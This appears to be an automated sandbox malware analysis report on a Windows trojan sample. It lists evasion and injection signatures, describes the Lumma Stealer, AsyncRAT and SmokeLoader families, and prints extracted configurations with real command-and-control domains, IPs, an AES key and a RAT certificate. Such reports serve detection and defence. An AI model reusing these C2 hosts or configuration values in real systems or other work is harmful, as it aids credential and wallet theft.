Windows Analysis Report
FpiUD4nYpj.exe

Overview

General Information

Sample name: FpiUD4nYpj.exe
renamed because original name is a hash value
Original sample name: 8f183d95f41f213f3413f7c59f58241f.exe
Analysis ID: 1483397
MD5: 8f183d95f41f213f3413f7c59f58241f
SHA1: dc340f7d3cd6c3cafa11c7830ab2c95cf036ad26
SHA256: 2422f7d311683fbb34a9d4bf91ab7891df13efaa003a7ed569467e6e8d9d98cc
Tags: 32exetrojan
Infos:

Detection

LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Benign windows process drops PE files
Check for Windows Defender sandbox
Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
System process connects to network (likely due to code injection or exploit)
Yara detected AsyncRAT
Yara detected Go Injector
Yara detected LummaC Stealer
Yara detected SmokeLoader
Yara detected VenomRAT
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
AI detected suspicious sample
Allocates memory in foreign processes
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Changes memory attributes in foreign processes to executable or writable
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Checks if the current machine is a virtual machine (disk enumeration)
Connects to a pastebin service (likely for C&C)
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to log keystrokes (.Net Source)
Creates a thread in another existing process (thread injection)
Creates autostart registry keys with suspicious names
Deletes itself after installation
Drops VBS files to the startup folder
Found many strings related to Crypto-Wallets (likely being stolen)
Found suspicious ZIP file
Hides that the sample has been downloaded from the Internet (zone.identifier)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Maps a DLL or memory area into another process
Powershell drops PE file
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Reads the Security eventlog
Reads the System eventlog
Sample uses string decryption to hide its real strings
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Powerup Write Hijack DLL
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Connects to several IPs in different countries
Contains capabilities to detect virtual machines
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to record screenshots
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (may stop execution after checking a module file name)
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains more sections than normal
PE file contains sections with non-standard names
PE file does not import any functions
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for user specific document files
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: PSScriptPolicyTest Creation By Uncommon Process
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
AsyncRAT AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat
Name Description Attribution Blogpost URLs Link
SmokeLoader The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.
  • SMOKY SPIDER
 https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: FpiUD4nYpj.exe Avira: detected
Antivirus detection for URL or domain
Source: https://callosallsaospz.shop/api3QFjF/HP Avira URL Cloud: Label: malware
Source: https://callosallsaospz.shop/apiD Avira URL Cloud: Label: malware
Source: callosallsaospz.shop Avira URL Cloud: Label: malware
Source: https://callosallsaospz.shop:443/api Avira URL Cloud: Label: malware
Source: https://mussangroup.com/wp-content/images/pic1.jpg Avira URL Cloud: Label: malware
Source: https://callosallsaospz.shop/ Avira URL Cloud: Label: malware
Source: https://callosallsaospz.shop/api Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Roaming\jjistfr Avira: detection malicious, Label: HEUR/AGEN.1312596
Found malware configuration
Source: 00000000.00000002.1731949971.00000000026F0000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://mzxn.ru/tmp/index.php", "http://100xmargin.com/tmp/index.php", "http://wgdnb4rc.xyz/tmp/index.php", "http://olinsw.ws/tmp/index.php"]}
Source: 00000012.00000002.4114154243.00000000029E0000.00000004.08000000.00040000.00000000.sdmp Malware Configuration Extractor: VenomRAT {"Server": "94.156.79.190,193.222.96.24", "Ports": "4449", "Version": "Venom RAT + HVNC + Stealer + Grabber v6.0.2", "Autorun": "false", "Install_Folder": "%AppData%", "AES_key": "KSXE50q1aBZS6zviv09LVn6h1agzpC0c", "Mutex": "aqswvfsywrpgi", "Certificate": "MIICLzCCAZigAwIBAgIVAMlWIVjWC1nh9ktodokpLXg1Z7jDMA0GCSqGSIb3DQEBDQUAMGAxGDAWBgNVBAMMD1Zlbm9tUkFUIFNlcnZlcjEOMAwGA1UECwwFVmVub20xGjAYBgNVBAoMEVZlbm9tUkFUIEJ5IFZlbm9tMQswCQYDVQQHDAJTSDELMAkGA1UEBhMCQ04wHhcNMjIwNDIzMDE0ODMzWhcNMzMwMTMwMDE0ODMzWjATMREwDwYDVQQDDAhWZW5vbVJBVDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEApVFyhBoFr/9yziPYmAfupGi+6Dr9HlSEu4y7EX9UWIylw9CS4Voa/+1ncAOzogfrktnFzQ8mi0CRy5KZ/h/xY3W/RZXSOuTiBxwuYJ21ZyP0F3NE0Dk0iKJbBQvE/zmGVU3o0nSQEJ5eKQF9cj8SCsEac4tcpOeJWGRR4EOaNH8CAwEAAaMyMDAwHQYDVR0OBBYEFAXo7kHUsbMm0Un9lzKiyH3ZKuRhMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADgYEAToihy3/hoIiQqRgL8LQs+1ZyJfdHwOCmbsgIXHWfuygpkNuCVgWyx00+6WG1rrFOf0JZMar0D7txlc/bnAasiYPUL5EXEL/uikR3e8zzcQOhRAszKHobjW3VxGBYxClWdkhDZNxoiXTPs53aoby1ddub4dbDXQzIo//fNN30FNc=", "ServerSignature": "WlDXsoQjOeItY/AjpYunYYPwdj7pVZk3AxP9TSMhaMXlTxtOfd/QUD9Td9tdZ/gqN8Mrd7dFRlgi6WvGULUn8oYyaqUlD8bhcaHBCb7iJvzMqGTkJovPSDs+PdIfDJwTAVY/j6J2UDT7B9Hux+AFROKdJXYBG233NvPZNBdQ8Yc=", "BDOS": "null"}
Source: 00000012.00000002.4114154243.00000000029E0000.00000004.08000000.00040000.00000000.sdmp Malware Configuration Extractor: AsyncRAT {"Server": "94.156.79.190,193.222.96.24", "Ports": "4449", "Version": "Venom RAT + HVNC + Stealer + Grabber v6.0.2", "Autorun": "false", "Install_Folder": "%AppData%", "AES_key": "KSXE50q1aBZS6zviv09LVn6h1agzpC0c", "Mutex": "aqswvfsywrpgi", "Certificate": "MIICLzCCAZigAwIBAgIVAMlWIVjWC1nh9ktodokpLXg1Z7jDMA0GCSqGSIb3DQEBDQUAMGAxGDAWBgNVBAMMD1Zlbm9tUkFUIFNlcnZlcjEOMAwGA1UECwwFVmVub20xGjAYBgNVBAoMEVZlbm9tUkFUIEJ5IFZlbm9tMQswCQYDVQQHDAJTSDELMAkGA1UEBhMCQ04wHhcNMjIwNDIzMDE0ODMzWhcNMzMwMTMwMDE0ODMzWjATMREwDwYDVQQDDAhWZW5vbVJBVDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEApVFyhBoFr/9yziPYmAfupGi+6Dr9HlSEu4y7EX9UWIylw9CS4Voa/+1ncAOzogfrktnFzQ8mi0CRy5KZ/h/xY3W/RZXSOuTiBxwuYJ21ZyP0F3NE0Dk0iKJbBQvE/zmGVU3o0nSQEJ5eKQF9cj8SCsEac4tcpOeJWGRR4EOaNH8CAwEAAaMyMDAwHQYDVR0OBBYEFAXo7kHUsbMm0Un9lzKiyH3ZKuRhMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADgYEAToihy3/hoIiQqRgL8LQs+1ZyJfdHwOCmbsgIXHWfuygpkNuCVgWyx00+6WG1rrFOf0JZMar0D7txlc/bnAasiYPUL5EXEL/uikR3e8zzcQOhRAszKHobjW3VxGBYxClWdkhDZNxoiXTPs53aoby1ddub4dbDXQzIo//fNN30FNc=", "ServerSignature": "WlDXsoQjOeItY/AjpYunYYPwdj7pVZk3AxP9TSMhaMXlTxtOfd/QUD9Td9tdZ/gqN8Mrd7dFRlgi6WvGULUn8oYyaqUlD8bhcaHBCb7iJvzMqGTkJovPSDs+PdIfDJwTAVY/j6J2UDT7B9Hux+AFROKdJXYBG233NvPZNBdQ8Yc=", "BDOS": "null", "External_config_on_Pastebin": "false"}
Source: BitLockerToGo.exe.3588.13.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["indexterityszcoxp.shop", "lariatedzugspd.shop", "callosallsaospz.shop", "outpointsozp.shop", "liernessfornicsa.shop", "upknittsoappz.shop", "shepherdlyopzc.shop", "unseaffarignsk.shop"], "Build id": "bOKHNM--"}
Multi AV Scanner detection for domain / URL
Source: liernessfornicsa.shop Virustotal: Detection: 19% Perma Link
Source: callosallsaospz.shop Virustotal: Detection: 19% Perma Link
Source: mussangroup.com Virustotal: Detection: 13% Perma Link
Source: https://liernessfornicsa.shop/0 Virustotal: Detection: 15% Perma Link
Source: callosallsaospz.shop Virustotal: Detection: 19% Perma Link
Source: liernessfornicsa.shop Virustotal: Detection: 19% Perma Link
Source: https://liernessfornicsa.shop/q Virustotal: Detection: 13% Perma Link
Source: upknittsoappz.shop Virustotal: Detection: 19% Perma Link
Source: shepherdlyopzc.shop Virustotal: Detection: 19% Perma Link
Source: https://mussangroup.com/wp-content/images/pic1.jpg Virustotal: Detection: 6% Perma Link
Source: https://callosallsaospz.shop:443/api Virustotal: Detection: 22% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Temp\34CA.exe ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\g2m.dll ReversingLabs: Detection: 41%
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\g2m.dll ReversingLabs: Detection: 41%
Multi AV Scanner detection for submitted file
Source: FpiUD4nYpj.exe Virustotal: Detection: 43% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\jjistfr Joe Sandbox ML: detected
Machine Learning detection for sample
Source: FpiUD4nYpj.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String decryptor: indexterityszcoxp.shop
Source: 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String decryptor: lariatedzugspd.shop
Source: 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String decryptor: callosallsaospz.shop
Source: 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String decryptor: outpointsozp.shop
Source: 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String decryptor: liernessfornicsa.shop
Source: 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String decryptor: upknittsoappz.shop
Source: 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String decryptor: shepherdlyopzc.shop
Source: 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String decryptor: unseaffarignsk.shop
Source: 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String decryptor: callosallsaospz.shop
Source: 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String decryptor: TeslaBrowser/5.5
Source: 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String decryptor: - Screen Resoluton:
Source: 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String decryptor: - Physical Installed Memory:
Source: 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String decryptor: Workgroup: -
Source: 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String decryptor: bOKHNM--
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00757A10 CryptUnprotectData, 13_2_00757A10
Source: 2FBE.exe, 00000006.00000003.2413624560.0000020A58401000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_98d2b9bf-d
Uses 32bit PE files
Source: FpiUD4nYpj.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50782 version: TLS 1.0
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 185.149.100.242:443 -> 192.168.2.4:50695 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50696 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50697 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50698 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50701 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.0.235.84:443 -> 192.168.2.4:50703 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50704 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50709 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50715 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50717 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50719 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.2.16:443 -> 192.168.2.4:50720 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50721 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50722 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50723 version: TLS 1.2
Source: unknown HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:50724 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50725 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50726 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50727 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50728 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50741 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50745 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50747 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50748 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50749 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50751 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50754 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50755 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50758 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50760 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50761 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50762 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50763 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50765 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50768 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50770 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50773 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50776 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50779 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50780 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50783 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50784 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50784 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50785 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50786 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50788 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50789 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50790 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50791 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50792 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50793 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50794 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50795 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50796 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50797 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50798 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50799 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50801 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50802 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50803 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50805 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50807 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50808 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50809 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50810 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50811 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50812 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50813 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50816 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50817 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50818 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50819 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50820 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50821 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50822 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50823 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50824 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50825 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50826 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50828 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50829 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50830 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50831 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50832 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50833 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50834 version: TLS 1.2
Source: Binary string: System.Core.pdb(khvD source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Xml.ni.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: rust_dave_sideload.pdb source: vm.exe, 00000012.00000002.4127183410.000000006CA98000.00000002.00000001.01000000.00000015.sdmp, lm.exe, 00000013.00000002.3195290349.000000006CA28000.00000002.00000001.01000000.00000016.sdmp, vm.exe, 00000019.00000002.3262778994.000000006CA98000.00000002.00000001.01000000.00000015.sdmp, g2m.dll0.14.dr
Source: Binary string: System.ni.pdbRSDS source: WERA01C.tmp.dmp.28.dr
Source: Binary string: BitLockerToGo.pdb source: 34CA.exe, 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp, 34CA.exe, 00000008.00000002.2594862605.000000C000800000.00000004.00001000.00020000.00000000.sdmp, 34CA.exe, 00000008.00000003.2564338018.000001A460D90000.00000004.00001000.00020000.00000000.sdmp, 34CA.exe, 00000008.00000003.2564243556.000001A460DD0000.00000004.00001000.00020000.00000000.sdmp, 34CA.exe, 00000008.00000002.2594862605.000000C0008E6000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\p4builds\Products\GoToMeeting\v5.4_builds\output\G2M_Exe.pdb& source: powershell.exe, 0000000E.00000002.2733250356.000002EC2EF61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2733250356.000002EC2EF1E000.00000004.00000800.00020000.00000000.sdmp, vm.exe.14.dr, lm.exe.14.dr
Source: Binary string: System.pdb) source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Configuration.ni.pdb source: WERA01C.tmp.dmp.28.dr
